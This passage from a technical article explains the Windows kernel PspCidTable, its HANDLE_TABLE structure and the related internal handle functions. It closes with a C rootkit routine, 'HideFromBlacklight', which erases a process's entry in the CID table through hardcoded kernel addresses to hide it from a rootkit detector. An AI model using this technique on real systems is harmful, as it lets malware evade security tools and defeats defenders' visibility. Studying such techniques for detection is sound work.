The PspCidTable

The PspCidTable is a "handle table for process and thread client IDs"[7]. Every process' PID corresponds to its location in the PspCidTable. The PspCidTable is a pointer to a HANDLE_TABLE structure.

typedef struct _HANDLE_TABLE {
   PVOID        p_hTable;
   PEPROCESS    QuotaProcess;
   PVOID        UniqueProcessId;
   EX_PUSH_LOCK HandleTableLock [4];
   LIST_ENTRY   HandleTableList;
   EX_PUSH_LOCK HandleContentionEvent;
   PHANDLE_TRACE_DEBUG_INFO DebugInfo;
   DWORD        ExtraInfoPages;
   DWORD        FirstFree;
   DWORD        LastFree;
   DWORD        NextHandleNeedingPool;
   DWORD        HandleCount;
   DWORD        Flags;
}

Windows offers a variety of non-exported functions to manipulate and retrieve information from the PspCidTable. These include:

ExCreateHandleTable

creates non-process handle tables. The objects within all handle tables except the PspCidTable are pointers to object headers and not the address of the objects themselves.

ExDupHandleTable

is called when spawning a process.

ExSweepHandleTable

is used for process rundown.

ExDestroyHandleTable

is called when a process is exiting.

ExCreateHandle

creates new handle table entries.

ExChangeHandle

is used to change the access mask on a handle.

ExDestroyHandle

implements the functionality of CloseHandle.

ExMapHandleToPointer

returns the address of the object corresponding to the handle.

ExReferenceHandleDebugIn

tracing handles.

ExSnapShotHandleTables

is used for handle searchers (for example in oh.exe).

typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC)
                     ( IN PHANDLE_TABLE HandleTable,
                       IN HANDLE ProcessId);

void HideFromBlacklight(DWORD eproc)
{
               PHANDLE_TABLE_ENTRY CidEntry;
               ExMapHandleToPointerFUNC map;
               ExUnlockHandleTableEntryFUNC umap;
               PEPROCESS p;
               CLIENT_ID ClientId;
              
               map = (ExMapHandleToPointerFUNC)0x80493285;
                             
               CidEntry = map((PHANDLE_TABLE)0x8188d7c8,
                         LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) );
               if(CidEntry != NULL)
               {
                  CidEntry->Object = 0;
               }
               return;
}